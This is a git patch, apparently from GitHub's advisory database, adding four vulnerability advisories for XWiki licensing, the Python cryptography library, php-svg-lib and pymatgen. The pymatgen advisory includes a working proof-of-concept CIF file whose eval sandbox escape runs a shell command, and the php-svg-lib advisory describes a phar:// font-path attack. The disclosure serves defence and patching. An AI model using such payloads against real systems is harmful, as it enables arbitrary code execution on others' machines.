From 14951ec99db342c5cbb94a1270629db5231bba26 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 21 Feb 2024 18:05:39 +0000 Subject: [PATCH] Publish Advisories GHSA-4hfp-m9gv-m753 GHSA-6vqw-3v5j-54x4 GHSA-f3qr-qr4x-j273 GHSA-vgv8-5cpj-qj2f --- .../GHSA-4hfp-m9gv-m753.json | 65 ++++++++++++++++++ .../GHSA-6vqw-3v5j-54x4.json | 65 ++++++++++++++++++ .../GHSA-f3qr-qr4x-j273.json | 66 +++++++++++++++++++ .../GHSA-vgv8-5cpj-qj2f.json | 65 ++++++++++++++++++ 4 files changed, 261 insertions(+) create mode 100644 advisories/github-reviewed/2024/02/GHSA-4hfp-m9gv-m753/GHSA-4hfp-m9gv-m753.json create mode 100644 advisories/github-reviewed/2024/02/GHSA-6vqw-3v5j-54x4/GHSA-6vqw-3v5j-54x4.json create mode 100644 advisories/github-reviewed/2024/02/GHSA-f3qr-qr4x-j273/GHSA-f3qr-qr4x-j273.json create mode 100644 advisories/github-reviewed/2024/02/GHSA-vgv8-5cpj-qj2f/GHSA-vgv8-5cpj-qj2f.json diff --git a/advisories/github-reviewed/2024/02/GHSA-4hfp-m9gv-m753/GHSA-4hfp-m9gv-m753.json b/advisories/github-reviewed/2024/02/GHSA-4hfp-m9gv-m753/GHSA-4hfp-m9gv-m753.json new file mode 100644 index 00000000000..977e7e00644 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-4hfp-m9gv-m753/GHSA-4hfp-m9gv-m753.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4hfp-m9gv-m753", + "modified": "2024-02-21T18:04:57Z", + "published": "2024-02-21T18:04:57Z", + "aliases": [ + "CVE-2024-26138" + ], + "summary": "XWiki extension license information is public, exposing instance id and license holder details", + "details": "### Impact\nThe licensor application includes the document `Licenses.Code.LicenseJSON` that provides information for admins regarding active licenses. This document is public and thus exposes this information publicly. The information includes the instance's id as well as first and last name and email of the license owner. This is a leak of information that isn't supposed to be public. The instance id allows associating data on the [active installs data](https://extensions.xwiki.org/xwiki/bin/view/Extension/Active%20Installs%202%20API/) with the concrete XWiki instance. Active installs assures that \"there's no way to find who's having a given UUID\" (referring to the instance id). Further, the information who the license owner is and information about the obtained licenses can be used for targeted phishing attacks. Also, while user information is normally public, email addresses might only be displayed obfuscated (depending on the configuration).\n\n### Patches\nThis has been fixed in Application Licensing 1.24.2, by https://github.com/xwikisas/application-licensing/commit/d168fb88fc0d121bf95e769ea21c55c00bebe5a6\n\n### Workarounds\nThere are no known workarounds besides upgrading.\n\n### References\nFixed by https://github.com/xwikisas/application-licensing/commit/d168fb88fc0d121bf95e769ea21c55c00bebe5a6\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "com.xwiki.licensing:application-licensing-licensor-ui" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0" + }, + { + "fixed": "1.24.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/xwikisas/application-licensing/security/advisories/GHSA-4hfp-m9gv-m753" + }, + { + "type": "WEB", + "url": "https://github.com/xwikisas/application-licensing/commit/d168fb88fc0d121bf95e769ea21c55c00bebe5a6" + }, + { + "type": "WEB", + "url": "https://extensions.xwiki.org/xwiki/bin/view/Extension/Active%20Installs%202%20API" + }, + { + "type": "PACKAGE", + "url": "https://github.com/xwikisas/application-licensing" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-862" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-02-21T18:04:57Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-6vqw-3v5j-54x4/GHSA-6vqw-3v5j-54x4.json b/advisories/github-reviewed/2024/02/GHSA-6vqw-3v5j-54x4/GHSA-6vqw-3v5j-54x4.json new file mode 100644 index 00000000000..9480b7763b8 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-6vqw-3v5j-54x4/GHSA-6vqw-3v5j-54x4.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-6vqw-3v5j-54x4", + "modified": "2024-02-21T18:04:41Z", + "published": "2024-02-21T18:04:40Z", + "aliases": [ + "CVE-2024-26130" + ], + "summary": "cryptography NULL pointer deference with pkcs12.serialize_key_and_certificates when called with a non-matching certificate and private key and an hmac_hash override", + "details": "If `pkcs12.serialize_key_and_certificates` is called with both:\n\n1. A certificate whose public key did not match the provided private key\n2. An `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`\n\nThen a NULL pointer dereference would occur, crashing the Python process.\n\nThis has been resolved, and now a `ValueError` is properly raised.\n\nPatched in https://github.com/pyca/cryptography/pull/10423", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "cryptography" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "38.0.0" + }, + { + "fixed": "42.0.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-6vqw-3v5j-54x4" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/10423" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/97d231672763cdb5959a3b191e692a362f1b9e55" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-476" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-02-21T18:04:40Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-f3qr-qr4x-j273/GHSA-f3qr-qr4x-j273.json b/advisories/github-reviewed/2024/02/GHSA-f3qr-qr4x-j273/GHSA-f3qr-qr4x-j273.json new file mode 100644 index 00000000000..0f67840dbd3 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-f3qr-qr4x-j273/GHSA-f3qr-qr4x-j273.json @@ -0,0 +1,66 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-f3qr-qr4x-j273", + "modified": "2024-02-21T18:04:16Z", + "published": "2024-02-21T18:04:16Z", + "aliases": [ + "CVE-2024-25117" + ], + "summary": "php-svg-lib lacks path validation on font through SVG inline styles ", + "details": "### Summary\nphp-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP < 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n if (\n \\array_key_exists(\"font-family\", $styles)\n && (\n \\strtolower(\\substr($this->href, 0, 7)) === \"phar://\"\n || ($this->document->allowExternalReferences === false && \\strtolower(\\substr($this->href, 0, 5)) !== \"data:\")\n )\n ) {\n unset($style[\"font-family\"]);\n }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\n\n My\n\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "phenx/php-svg-lib" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.5.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273" + }, + { + "type": "WEB", + "url": "https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa" + }, + { + "type": "WEB", + "url": "https://github.com/dompdf/php-svg-lib/commit/8ffcc41bbde39f09f94b9760768086f12bbdce42" + }, + { + "type": "PACKAGE", + "url": "https://github.com/dompdf/php-svg-lib" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-502", + "CWE-73" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-02-21T18:04:16Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/02/GHSA-vgv8-5cpj-qj2f/GHSA-vgv8-5cpj-qj2f.json b/advisories/github-reviewed/2024/02/GHSA-vgv8-5cpj-qj2f/GHSA-vgv8-5cpj-qj2f.json new file mode 100644 index 00000000000..6491a0b3fd0 --- /dev/null +++ b/advisories/github-reviewed/2024/02/GHSA-vgv8-5cpj-qj2f/GHSA-vgv8-5cpj-qj2f.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vgv8-5cpj-qj2f", + "modified": "2024-02-21T18:04:00Z", + "published": "2024-02-21T18:04:00Z", + "aliases": [ + "CVE-2024-23346" + ], + "summary": "pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string", + "details": "### Summary\nA critical security vulnerability exists in the `JonesFaithfulTransformation.from_transformation_str()` method within the `pymatgen` library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.\n\n### Details\nThe cause of the vulnerability is in [pymatgen/symmetry/settings.py#L97C1-L111C108](https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108). The flawed code segment involves a regular expression operation followed by the use of `eval()`.\n\n#### Vulnerable code\n\n```py\nbasis_change = [\n re.sub(r\"(?<=\\w|\\))(?=\\() | (?<=\\))(?=\\w) | (?<=(\\d|a|b|c))(?=([abc]))\", r\"*\", string, flags=re.X)\n for string in basis_change\n]\n\"\"\"snip\"\"\"\n([eval(x, {\"__builtins__\": None}, {\"a\": a, \"b\": b, \"c\": c}) for x in basis_change])\n```\n\nThe use of eval, even with `__builtins__` set to `None`, is still a security risk. The `BuiltinImporter` class can be recovered with subclass traversal.\n\n### PoC\n\nThe vulnerability can be exploited as follows:\n\nCreate a file `vuln.cif` with the following contents:\n\n```\ndata_5yOhtAoR\n_audit_creation_date 2018-06-08\n_audit_creation_method \"Pymatgen CIF Parser Arbitrary Code Execution Exploit\"\n\nloop_\n_parent_propagation_vector.id\n_parent_propagation_vector.kxkykz\nk1 [0 0 0]\n\n_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[\"__sub\" + \"classes__\"]) () if d.__name__ == \"BuiltinImporter\"][0].load_module (\"os\").system (\"touch pwned\");0,0,0'\n\n\n_space_group_magn.number_BNS 62.448\n_space_group_magn.name_BNS \"P n' m a' \"\n```\n\nThen, parse the cif file with the following code:\n```py\nfrom pymatgen.io.cif import CifParser\nparser = CifParser(\"vuln.cif\")\nstructure = parser.parse_structures()\n```\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pymatgen" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2024.2.20" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f" + }, + { + "type": "WEB", + "url": "https://github.com/materialsproject/pymatgen/commit/c231cbd3d5147ee920a37b6ee9dd236b376bcf5a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/materialsproject/pymatgen" + }, + { + "type": "WEB", + "url": "https://github.com/materialsproject/pymatgen/blob/master/pymatgen/symmetry/settings.py#L97C1-L111C108" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-77" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-02-21T18:04:00Z", + "nvd_published_at": null + } +} \ No newline at end of file